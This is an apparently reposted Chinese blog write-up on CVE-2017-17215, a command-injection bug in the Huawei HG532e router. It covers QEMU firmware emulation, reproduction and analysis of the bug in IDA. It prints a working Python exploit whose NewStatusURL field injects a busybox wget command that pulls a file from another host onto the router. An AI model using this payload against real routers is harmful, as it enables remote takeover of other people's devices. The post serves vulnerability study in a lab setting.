CVE-2017-17215 HG532e 遠程命令執行漏洞分析
0x01 前言
HG532e 是華為的一款無線路由器, 這個漏洞是由蜜罐捕獲到payload 之后,才被checkpoint 披露出來的,
這都是好幾年前的洞了,但是可以作為分析韌體,模擬韌體很好的學習例子,
接下來跟我一起來體驗跑韌體的樂趣吧 …QAQ
happy hacking !!!
0x02 搭建韌體模擬環境
首先韌體模擬,需要現成的韌體 下載鏈接 HG532e
下載不了可以留言給我,
韌體模擬這里有兩種方式:
一種是 利用現有的工具 firmware-analysis-toolkit 工具包直接運行韌體,這里可以參考我路由器韌體模擬環境搭建 這篇博客,運行完之后,就是一個模擬的路由器,
但這種方式有的路由器無法模擬出來,
第二種是 使用qemu 提供韌體需要的運行環境,然后將韌體放到環境中運行,
這里介紹第二種方式,并且總結一下使用qemu 遇到的坑,
安裝qemu
這里搭建的環境是 ubuntu 18.04
sudo apt-get install qemu
#user mode,包含qemu-mips-static,qemu-mipsel-static,qemu-arm-static等
sudo apt-get install qemu-user-static
#system mode,包含qemu-system-mips,qemu-system-mipsel,qemu-system-arm等
sudo apt-get install qemu-system
安裝完之后是這樣的,

安裝依賴檔案
sudo apt-get install libglib2.0 libglib2.0-dev
sudo apt-get install autoconf automake libtool
安裝橋接網路所需要的依賴檔案
sudo apt-get install uml-utilities bridge-utils
修改Ubuntu 主機的網路配置,修改系統的網路介面組態檔/etc/network/interfaces,

修改Qemu檔案, 如果沒有,就創建QEMU網路介面啟動腳本,重啟網路使配置生效,

在qemu-ifup 中寫入如下內容
sudo /sbin/ifconfig $1 0.0.0.0 promisc up 將ens33 IP設定為0
sudo /sbin/brtcl addif br0 $1 // 將br0和eth0系結在一起

保存檔案后,給檔案執行權限,然后重啟網路使配置生效

啟動橋接網路

坑1: 這里需要將虛擬機重啟一下,否則可能在啟動qemu之后,qemu 虛擬機依舊無法分配IP,
從https://people.debian.org/~aurel32/qemu/mips/下載對應的debian mips qemu鏡像
為什么要下載mips 的鏡像,這是因為韌體的指令架構是mips 架構, 如下圖所示

下載完之后執行
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
啟動之后輸入 root/root 登錄進去
然后ifconfig 查看一下網卡資訊,ping 一下百度 測驗網路聯通性
0x03 漏洞復現
先利用binwalk 解包,

然后使用scp 將 解開的韌體檔案夾中squashfs-root 檔案夾傳到運行的qemu 環境中
scp -r ./squashfs-root root@虛擬機ip:/root/
然后切換到路由器的根目錄中

啟動upnp

啟動mic, 啟動mic 之后,可能會沒有網路,有的時候啟動mic 之后,eth0 會沒有網路,這時候需要ifdown eth0 , ifup eth0 重啟一下網卡,

查看埠是否打開


這個時候說明路由器的upnp 服務運行起來了
起一個http 服務

運行exp

查看路由器內部

payload
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 192.168.124.187 -l /tmp/1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.124.130:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
0x04 漏洞分析
根據公布的漏洞資訊,里面有一些字串 ctrlt、 DeviceUpgrade_1、NewStatusURL 等這些字串,以及漏洞產生點的 埠號37215 ,

我們可以在韌體中搜索這些字串, 并且可以看一下37215 這個埠所在的檔案,

查看埠37215, 我們可以看到upnp 字串,這里可以猜測,37215 和upnp 協議有關, 因此模擬韌體的時候會運行upnp和mic

將upnp 放到IDA中進行分析
查看View-string 字串, 可以看到NewStatusURL.

雙擊到如下所示

選中查看字串的交叉參考,

跳轉到如下圖所示,找到了upnp 的關鍵代碼

可以分析出來 其中a0 引數是會的內容是會傳到system()中執行的,因此可以實作命令注入
snprintf(a0,0x400,“upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -”,a3)
0x05 寫在最后
很久沒有寫博客了,最近完成了很多重要的事情,也確定了自己的方向和目標,
希望自己能一直在安全行業堅持下去,不斷的學習,夯實基礎,
i am hacker , i can change things, happy hacking every day,
種一顆樹最好的時間是十年前和現在,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/213011.html
標籤:其他
上一篇:win10系統下安裝Consul
下一篇:DNS污化攻擊
